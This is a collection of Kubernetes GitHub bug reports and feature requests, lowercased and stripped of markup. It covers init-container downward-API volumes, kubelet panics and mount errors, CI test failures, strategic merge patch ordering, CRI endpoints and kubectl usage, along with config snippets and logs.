<!--\r  -->\r \r   what happened  :\r \r define a pod with an  initcontainer  that mounts a volume backed by the downward api to expose its cpu request to the container.\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: pod\r \r spec:\r   initcontainers:\r   - name: init\r     image: ubuntu\r     args:  'cat', '/etc/podinfo/cpu' \r     resources:\r       requests:\r         cpu: '.25'\r       limits:\r         cpu: '.25'\r     volumemounts:\r     - name: podinfo-init\r       mountpath: /etc/podinfo\r \r   containers:\r   - name: real\r     image: ubuntu\r     args:  'echo', 'hello' \r \r   volumes:\r   - name: podinfo-init\r     downwardapi:\r       items:\r       - path: 'cpu'\r         resourcefieldref:\r           containername: 'init'\r           resource: 'requests.cpu'\r    \r \r when i start this pod, i see it in  init 0/1  and  kubectl describe pod pod  shows:\r \r    \r mountvolume.setup failed for volume \ podinfo-init\  : container init not found\r    \r \r   what you expected to happen  :\r \r the pod starts, runs the init container with volume mounted to print the mounted file, then the real container, then finishes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see the yaml above, more repro cases  here  https://gist.github.com/imjasonh/6a0d8e0c0b11cda095f30c4890072d73 \r \r   anything else we need to know?  :\r \r i suspect this might be because the container name  init  is ambiguous between init containers and a pod's \ real\  containers. if so, is there some way to reference the init container specifically in the  containername  field?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.3\ , gitcommit:\ d2c7a2bd41036f9474287579a725dc54c904e92d\ , gittreestate:\ clean\ , builddate:\ 2018-05-23t00:19:39z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r gke\r \r    sh\r $ gcloud container clusters list\r cluster-1                                us-east1-b  1.10.2-gke.3    <ip>  n1-standard-4  1.10.2-gke.3  3          running\r \r    \r \r - os  e.g. from /etc/os-release :\r \r    sh\r $ cat /etc/os-release\r pretty_name=\ debian gnu/linux buster/sid\ \r name=\ debian gnu/linux\ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r $ uname -a\r linux <hostname> 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  sig-release-master-blocking gce-master-scale-performance  https://testgrid.k8s.io/sig-release-master-blocking gce-master-scale-performance \r \r   which test s  are failing  :\r -   sig-scalability  density  feature:performance  should allow starting 30 pods per node using replicationcontroller with 0 secrets, 0 configmaps, 0 token projections, and 0 daemonschanges \r \r   since when has it been failing  :\r 2019-01-11  commit:  40de2eeca  https://github.com/kubernetes/kubernetes/commit/40de2eeca   \r \r   testgrid link  :\r build  294  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/294  and  295  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/295 \r \r   reason for failure  :\r  too high pod startup latency 99th percentile \r \r   anything else we need to know  :\r related:  issue  68148  https://github.com/kubernetes/kubernetes/issues/68148

environment: coreos 815.0.0, k8s 1.1.0  7d6c8b6   a pod definition including a volume of type awselasticblockstore yields errors on the instance the pod starts on:      blkfront: xvdf: barrier or flush: disabled; persistent grants: disabled; indirect descriptors: enabled; ext4-fs  xvdf : vfs: can't find ext4 filesystem ext4-fs  xvdf : mounted filesystem with ordered data mode. opts:  null  ext4-fs  xvdf : re-mounted. opts:  null       it looks like the _kubelet_ tries to mount a volume  /dev/xvdf  and not a partition. although this eventually succeeds, i'm not sure if this is the expected design.      kubelet 22950 : i1003 14:55:47.635600   22950 aws.go:1030  waiting for volume state: actual=attaching, desired=attached kubelet 22950 : e1003 14:55:48.764833   22950 mount_linux.go:103  mount failed: exit status 32 kubelet 22950 : mounting arguments: /dev/xvdf /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/eu-west-1a/vol-4429a18b ext4  defaults  kubelet 22950 : output: mount: wrong fs type, bad option, bad superblock on /dev/xvdf, kubelet 22950 : missing codepage or helper program, or other error kubelet 22950 : in some cases useful info is found in syslog - try kubelet 22950 : dmesg | tail or so. kubelet 22950 : i1003 14:56:46.264633   22950 manager.go:1615  need to restart pod infra container for \ artifactory_default\  because it is not found

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r n/a\r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : n/a\r \r \r   environment  : n/a\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r current implementation of drain codes verify existence of the controller via  getcontroller   . as we will deprecate created-by annotation, the verification may not be needed anymore. \r \r   what you expected to happen  :\r remove  getcontroller    if it is not needed.\r \r   how to reproduce it    as minimally and precisely as possible :\r n/a\r \r   anything else we need to know  :\r none\r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r we fenced off an api-server from connecting to etcd, however the  /healthz/ping  endpoint was returning 200\r \r   what you expected to happen  :\r \r the  /healthz/ping  endpoint to exercise connectivity to etcd and return a 500 type response code if it can't connect to etcd since the apiserver is _useless_ without etcd

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r upgraded cluster   3 master nodes + 3 slave nodes   from 1.6.7 to 1.7.7, followed the 1.7 release notes , nothing else changaged, the kubelet went in crash-loop and didn't even start it's manifests pods\r \r already restarted everything, rebooted all machines multiple times , \r what is also strange is that in one of the server the kubelet start correctly, one of the small differences between those nodes is that this one have a network interface under a different name   eth0 instead of ens3   \r \r because  the issue on the kubelet nothing else start   as other components are installed as manifests pods   manifests doesn't even attempt to start   docker ps -a doesn't show any recently started container , also removing all exited containers didn't helped   \r \r the kubelet command is : \r    \r ./hyperkube kubelet --v=2 --address=0.0.0.0 --hostname-override=v57 --allow-privileged=true --pod-manifest-path=/etc/kubernetes/manifests --pod-infra-container-image=gcr.io/google_containers/pause-amd64:3.0 --kube-reserved cpu=100m,memory=512m --node-status-update-frequency=10s --cgroups-per-qos=false --node-ip=158.--hidden--- --enforce-node-allocatable= --cluster_dns=10.201.0.2 --cluster_domain=cluster.local --resolv-conf=/etc/resolv.conf --kubeconfig=/etc/kubernetes/node-kubeconfig.yaml --require-kubeconfig --node-labels=disktype=ssd,node-role.kubernetes.io/master=true --volume-plugin-dir=/etc/kubernetes/volumeplugins --enable-controller-attach-detach=false --network-plugin=cni --network-plugin-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --provider-id=v57.test.node\r    \r \r the kubelet logs are \r \r \r    \r \r oct  5 14:21:58 v58 kubelet 21814 : w1005 14:21:58.375008   21839 kubelet_network.go:70  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.375089   21839 kubelet.go:508  hairpin mode set to \ hairpin-veth\ \r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.376777   21839 plugins.go:194  loaded network plugin \ cni\ \r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.409429   21839 plugins.go:194  loaded network plugin \ cni\ \r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.410310   21839 docker_service.go:208  docker cri networking managed by cni\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.417361   21839 docker_service.go:225  setting cgroupdriver to cgroupfs\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.425756   21839 docker_legacy.go:151  no legacy containers found, stop performing legacy cleanup.\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.425806   21839 kubelet.go:595  starting the grpc server for the docker cri shim.\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.425852   21839 docker_server.go:51  start dockershim grpc server\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.433592   21839 remote_runtime.go:42  connecting to runtime service unix:///var/run/dockershim.sock\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.435815   21839 kuberuntime_manager.go:166  container runtime docker initialized, version: 1.12.6, apiversion: 1.24.0\r \r ............. some more boostrap log lines\r \r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.447141   21839 plugins.go:370  loaded volume plugin \ kubernetes.io/scaleio\ \r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.447153   21839 plugins.go:370  loaded volume plugin \ kubernetes.io/local-volume\ \r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.447171   21839 plugins.go:370  loaded volume plugin \ kubernetes.io/storageos\ \r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.466329   21839 server.go:943  started kubelet v1.7.7+coreos.0\r oct  5 14:21:58 v58 kubelet 21814 : e1005 14:21:58.467220   21839 kubelet.go:1229  image garbage collection failed once. stats initialization may not have completed yet: unable to find data for container /\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.467542   21839 kubelet_node_status.go:250  controller attach/detach is disabled for this node; kubelet will attach and detach volumes\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.469455   21839 kubelet_node_status.go:422  using node ip: \ 217.182.--------\ \r oct  5 14:21:58 v58 kubelet 21814 : e1005 14:21:58.469627   21839 runtime.go:66  observed a panic: \ assignment to entry in nil map\   assignment to entry in nil map \r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r oct  5 14:21:58 v58 kubelet 21814 : /usr/local/go/src/runtime/asm_amd64.s:514\r oct  5 14:21:58 v58 kubelet 21814 : /usr/local/go/src/runtime/panic.go:489\r oct  5 14:21:58 v58 kubelet 21814 : /usr/local/go/src/runtime/hashmap.go:487\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:480\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:967\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:950\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:332\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_getters.go:209\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1271\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1316\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:950\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98\r oct  5 14:21:58 v58 kubelet 21814 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r oct  5 14:21:58 v58 kubelet 21814 : /usr/local/go/src/runtime/asm_amd64.s:2197\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.469887   21839 server.go:132  starting to listen on 0.0.0.0:10250\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.473988   21839 server.go:310  adding debug handlers to kubelet server.\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.477610   21839 server.go:152  starting to listen read-only on 0.0.0.0:10255\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.481123   21839 kubelet_node_status.go:250  controller attach/detach is disabled for this node; kubelet will attach and detach volumes\r oct  5 14:21:58 v58 kubelet 21814 : i1005 14:21:58.481227   21839 kubelet_node_status.go:422  using node ip: \ 217.182.--------\ \r oct  5 14:21:58 v58 kubelet 21814 : e1005 14:21:58.481332   21839 runtime.go:66  observed a panic: \ assignment to entry in nil map\   assignment to entry in nil map \r \r \r .... then the following error repeated \r \r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:967\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:950\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:332\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_getters.go:209\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1271\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1316\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:950\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r oct  5 14:04:38 v58 kubelet 2695 : /usr/local/go/src/runtime/asm_amd64.s:2197\r oct  5 14:04:38 v58 kubelet 2695 : i1005 14:04:36.875822    2718 kubelet_node_status.go:250  controller attach/detach is disabled for this node; kubelet will attach and detach volumes\r oct  5 14:04:38 v58 kubelet 2695 : i1005 14:04:36.875897    2718 kubelet_node_status.go:422  using node ip: \ 217.182.--------\ \r oct  5 14:04:38 v58 kubelet 2695 : e1005 14:04:36.875956    2718 runtime.go:66  observed a panic: \ assignment to entry in nil map\   assignment to entry in nil map \r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r oct  5 14:04:38 v58 kubelet 2695 : /usr/local/go/src/runtime/asm_amd64.s:514\r oct  5 14:04:38 v58 kubelet 2695 : /usr/local/go/src/runtime/panic.go:489\r oct  5 14:04:38 v58 kubelet 2695 : /usr/local/go/src/runtime/hashmap.go:487\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:480\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:967\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:950\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:332\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_getters.go:209\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1271\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1316\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:950\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98\r oct  5 14:04:38 v58 kubelet 2695 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r oct  5 14:04:38 v58 kubelet 2695 : /usr/local/go/src/runtime/asm_amd64.s:2197\r    \r \r \r   what you expected to happen  :\r kubelet start correctly\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.7\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r docker version : 1.12.6 \r - install tools: bare metal , my ansible scripts\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r   what happened  :\r while working on a kubelet node status update bug, i noticed that 2 way strategic merge patch does sorting of elements in the slice. this was causing problems when items are appended to original slice in unsorted fashion as part of request sent to patch. for example while setting node addresses with following values\r \r    \r node.status.addresses = \r  append \r             v1.nodeaddress{\r \t\t{\r \t\t\taddress: \ 132.143.154.163\ ,\r \t\t\ttype:    v1.nodeexternalip,\r \t\t},\r \t\t{\r \t\t\taddress: \ 127.0.0.1\ ,\r \t\t\ttype:    v1.nodeinternalip,\r \t\t},\r            }, \r           v1.nodeaddress{ \r                         address: \ 127.0.0.1\ , \r                         type: v1.nodeexternalip,\r                    },\r           v1.nodeaddress{\r                         address: \ 132.143.154.163\ , \r                         type: v1.nodeinternalip\r   } \r    \r , i am noticing the following error:\r    \r  map address:127.0.0.1 type:externalip  map address:132.143.154.163 type:externalip  map address:127.0.0.1 type:internalip  map address:132.143.154.163 type:internalip  \r                                                                             \r  doesn't match $setelementorder list:                                                         \r \r  map type:externalip  map type:internalip  map type:externalip  map type:internalip  map type:hostname  \r    \r \r on further debugging, i noticed that \r \r original slice sorted:\r     map address:132.143.154.163 type:externalip  map type:internalip address:127.0.0.1     \r \r modified slice unsorted:\r    \r  map type:externalip address:132.143.154.163  map type:internalip address:127.0.0.1  map type:externalip address:127.0.0.1  map type:internalip address:132.143.154.163  \r    \r modified slice sorted:\r    \r  map type:externalip address:127.0.0.1  map type:externalip address:132.143.154.163  map type:internalip address:127.0.0.1  map type:internalip address:132.143.154.163  \r    \r \r we are using modified slice sorted for patching which causes patch operation to fail with above error.\r \r in case i give sorted order based on type where externalid comes first for example: \r \r    \r node.status.addresses = \r  append \r             v1.nodeaddress{\r \t\t{\r \t\t\taddress: \ 132.143.154.163\ ,\r \t\t\ttype:    v1.nodeexternalip,\r \t\t},\r \t\t{\r \t\t\taddress: \ 127.0.0.1\ ,\r \t\t\ttype:    v1.nodeexternalip,\r \t\t},\r            }, \r           v1.nodeaddress{ \r                         address: \ 127.0.0.1\ , \r                         type: v1.nodeinternalip,\r                    },\r           v1.nodeaddress{\r                         address: \ 132.143.154.163\ , \r                         type: v1.nodeinternalip\r   } \r    \r \r \r \r  we don't get that error. iiuc, the line https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/strategicpatch/patch.go l725 is causing strategic merge to sort in this case by type field. i believe the sorting is there for a reason but is the failure expected?\r \r  

https://k8s-testgrid.appspot.com/presubmits-kubernetes-nonblocking pull-kubernetes-e2e-gke\r \r it's failing due to: https://github.com/kubernetes/kubernetes/issues/68653\r \r this is blocking at least the following pr's:\r - https://github.com/kubernetes/kubernetes/pull/68387\r - https://github.com/kubernetes/kubernetes/pull/67452\r - ~https://github.com/kubernetes/kubernetes/pull/68629~  this was manually merged \r - https://github.com/kubernetes/kubernetes/pull/68565\r - https://github.com/kubernetes/kubernetes/pull/68592\r - https://github.com/kubernetes/kubernetes/pull/68345\r - https://github.com/kubernetes/kubernetes/pull/68379\r \r  / 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r registered custom cri by starting kubelet with extra options:  --container-runtime-endpoint=tcp://localhost:2000 --image-service-endpoint=tcp://localhost:2000 --container-runtime=remote  according to documentation  here  https://github.com/kubernetes/community/blob/master/contributors/devel/sig-node/container-runtime-interface.md ; kubelet did not start; error message in journalctl was: \ failed to create kubelet: only support unix socket endpoint\ \r \r   what you expected to happen  :\r \r  kubelet should have started because  kubelet --help  says for both  --container-runtime-endpoint  and  --image-service-endpoint : \ currently unix socket and tcp endpoints are supported on linux\ ; custom cri was listening on port 2000\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r e.g. add systemd fragment /etc/systemd/system/kubelet.service.d/20-cri.conf:\r    \r  service \r execstart=\r execstart=/usr/bin/kubelet --container-runtime-endpoint=tcp://localhost:2000 --image-service-endpoint=tcp://localhost:2000 --container-runtime=remote $kubelet_kubeconfig_args $kubelet_config_args $kubelet_kubeadm_args $kubelet_extra_args\r    \r \r   anything else we need to know?  :\r \r current  pkg/kubelet/util/util_unix.go  does indeed forbid  protocol != unixprotocol ; so perhaps text for  kubelet --help   in current  cmd/kubelet/app/options/options.go   should be changed to \ currently unix sockets are supported on linux\   i.e. does not support tcp endpoints  to fix\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.3\r - os: debian 9\r - install tools: kubeadm\r \r @kubernetes/sig-node-bugs

spark is a special snowflake and its webui follow-on links are pretty heavily based on having the cluster ips routable from the browser. attached is a sample screenshot of what i mean. as part of the drive in  16517, i have the first page working just fine as part of  kubectl proxy , but, of course, the links to the workers and application itself don't work, because those are cluster ips.  if we had a way to get through the service proxy by endpoint spec and directly proxy rather than just proxying an individual service, it would be then be straightforward to write a separate pod that was just a url rewriter for nginx for all \ cluster-like\  urls  handwaving a bit, but assuming you passed the cidr in, it seems straightforward .  ! image  https://cloud.githubusercontent.com/assets/4942464/11008756/948ccce2-8487-11e5-8c0d-c3aba7dd00a4.png   cc @brendandburns

hack/build-cross sets it without looking at the current value.  and the value has to be an array, which is a bit awkward to use.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-proto/1466/  failed:  k8s.io  kubectl client  k8s.io  kubectl run rc should create an rc from an image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1013 oct 25 23:04:30.758: failed getting logs by rc e2e-test-nginx-rc: error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://8.34.219.179 --kubeconfig=/workspace/.kube/config logs rc/e2e-test-nginx-rc --namespace=e2e-tests-kubectl-jdmhb      <nil>  error from server: get https://10.240.0.3:10250/containerlogs/e2e-tests-kubectl-jdmhb/e2e-test-nginx-rc-q252s/e2e-test-nginx-rc: dial tcp 10.240.0.3:10250: getsockopt: connection refused     <nil> 0xc420331380 exit status 1 <nil> <nil> true  0xc4204483b0 0xc420448448 0xc420448468   0xc4204483b0 0xc420448448 0xc420448468   0xc4204483d8 0xc420448460   0x921ab0 0x921ab0  0xc420e00b40 <nil>}: command stdout:  stderr: error from server: get https://10.240.0.3:10250/containerlogs/e2e-tests-kubectl-jdmhb/e2e-test-nginx-rc-q252s/e2e-test-nginx-rc: dial tcp 10.240.0.3:10250: getsockopt: connection refused  error: exit status 1  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1011      previous issues for this test:  28507  29315

we have completed for cri blockers for the rollout. according to the timeline in  rollout plan  https://docs.google.com/document/d/17qowujd9bx3puea47tytn6yjacz851xcv4rs9rlg1sc , we will switch the default to cri implementation next week  2/14 .  before that, we should verify that cri builds are passing at a rate that is equivalent to its counterparts  gci, non-cri .\r \r current cri  cluster e2e  builds: https://k8s-testgrid.appspot.com/google-cri, \r current cri  node e2e builds : https://k8s-testgrid.appspot.com/google-node kubelet-cri-gce-e2e, https://k8s-testgrid.appspot.com/google-node kubelet-cri-serial-gce-e2e\r \r /cc @dchen1107 @feiskyer

was trying to enable v1beta3 on the apiserver and had an extra space that i didn't notice.  this space caused the enablement of v1beta3 to fail and would not show in http://<master>:8080/api - if it's easy enough to do, that arguement maybe should be trimmed

it seems that, much more often than not, i use the  -it  flag with kubectl exec, e.g.  kubectl exec -it somepodname bash . a google for  kubectl exec  also seems to indicate that  kubectl exec  is overwhelmingly used with  -it .\r \r therefore, i'd like to propose that we make those flags   -i/--stdin  and  -t/--tty   true by default, with the option of disabling them  instead of the other way around . plus, the main use case for  kubectl exec  without  -it  is usually scripting, which is done by more advanced users who would more likely know about those flags.\r \r the two main drawbacks of this proposal are that it would be a breaking change and would make  kubectl exec  a bit more different from  docker exec .\r \r anyways, food for thought...

404 on https://kubernetes.io/v1.0/docs/user-guide/kubeconfig-file/\r \r i got here my googling  kubernetes config

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r k8s support runtimeclass feature start from  k8s 1.12.\r it is intend to support for clusters that have multiple runtime deployed\r but now the test cases are only for default runtime.\r for multiple runtimes, it is not part of the ci now.\r  \r   why is this needed  :\r \r support multiple runtimes can be a common case for user's cluster. \r so there should be ci jobs to make sure change not break anything for every change.

the test started failing on 2019-03-27:\r \r sample failure: https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/1112912925875507202\r \r @kubernetes/sig-storage-bugs

